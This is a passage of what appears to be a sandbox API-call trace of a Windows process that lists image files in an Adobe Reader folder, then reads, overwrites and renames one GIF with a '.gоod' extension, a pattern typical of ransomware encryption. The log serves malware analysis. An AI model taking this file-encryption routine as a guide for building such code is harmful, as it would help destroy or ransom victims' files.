ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1 [0139.010] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1 [0139.010] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1 [0139.010] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1 [0139.010] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1 [0139.011] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7068, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0139.011] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfdf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0139.011] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0139.011] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1 [0139.011] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0139.011] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ind_prog.gif", cAlternateFileName="")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="japanese_over.png", cAlternateFileName="JAPANE~1.PNG")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil.png", cAlternateFileName="LARGE_~1.PNG")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil_2x.png", cAlternateFileName="LARGE_~2.PNG")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress-indeterminate.gif", cAlternateFileName="PROGRE~2.GIF")) returned 1 [0139.012] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner.gif", cAlternateFileName="PROGRE~1.GIF")) returned 1 [0139.013] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner2x.gif", cAlternateFileName="PROGRE~4.GIF")) returned 1 [0139.013] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark.gif", cAlternateFileName="PROGRE~3.GIF")) returned 1 [0139.013] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark2x.gif", cAlternateFileName="PRBC72~1.GIF")) returned 1 [0139.013] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons.png", cAlternateFileName="RHP_IC~1.PNG")) returned 1 [0139.013] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons_2x.png", cAlternateFileName="RHP_IC~2.PNG")) returned 1 [0139.014] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions.png", cAlternateFileName="SELECT~2.PNG")) returned 1 [0139.014] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 1 [0139.014] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 0 [0139.014] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0139.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0139.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0139.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", lpFilePart=0x0) returned 0x76 [0139.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0139.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x38c80f8 | out: lpFileInformation=0x38c80f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85)) returned 1 [0139.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0140.102] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", lpFilePart=0x0) returned 0x76 [0140.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.146] GetFileType (hFile=0x644) returned 0x1 [0140.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.146] GetFileType (hFile=0x644) returned 0x1 [0140.146] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0140.146] ReadFile (in: hFile=0x644, lpBuffer=0x3b82500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b82500*, lpNumberOfBytesRead=0x1fdeb028*=0xa85, lpOverlapped=0x0) returned 1 [0140.147] CloseHandle (hObject=0x644) returned 1 [0140.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", lpFilePart=0x0) returned 0x76 [0140.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.148] GetFileType (hFile=0x644) returned 0x1 [0140.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.148] GetFileType (hFile=0x644) returned 0x1 [0140.148] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1a85 [0140.148] WriteFile (in: hFile=0x644, lpBuffer=0x3b838b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3b838b8*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0140.148] CloseHandle (hObject=0x644) returned 1 [0140.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", lpFilePart=0x0) returned 0x76 [0140.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.148] GetFileType (hFile=0x644) returned 0x1 [0140.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.148] GetFileType (hFile=0x644) returned 0x1 [0140.149] ReadFile (in: hFile=0x644, lpBuffer=0x3b85bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3b85bd8*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0140.217] CloseHandle (hObject=0x644) returned 1 [0140.217] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", lpFilePart=0x0) returned 0x76 [0140.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0140.217] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.217] GetFileType (hFile=0x644) returned 0x1 [0140.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0140.217] GetFileType (hFile=0x644) returned 0x1 [0140.217] WriteFile (in: hFile=0x644, lpBuffer=0x3583168*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3583168*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0140.218] CloseHandle (hObject=0x644) returned 1 [0140.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif", lpFilePart=0x0) returned 0x76 [0140.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif.gоod", lpFilePart=0x0) returned 0x7b [0140.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0140.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4fca46fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a95)) returned 1 [0140.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0140.218] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner.gif.gоod")) returned 1 [0140.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x79 [0140.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0140.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x38fbb28 | out: lpFileInformation=0x38fbb28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29)) returned 1 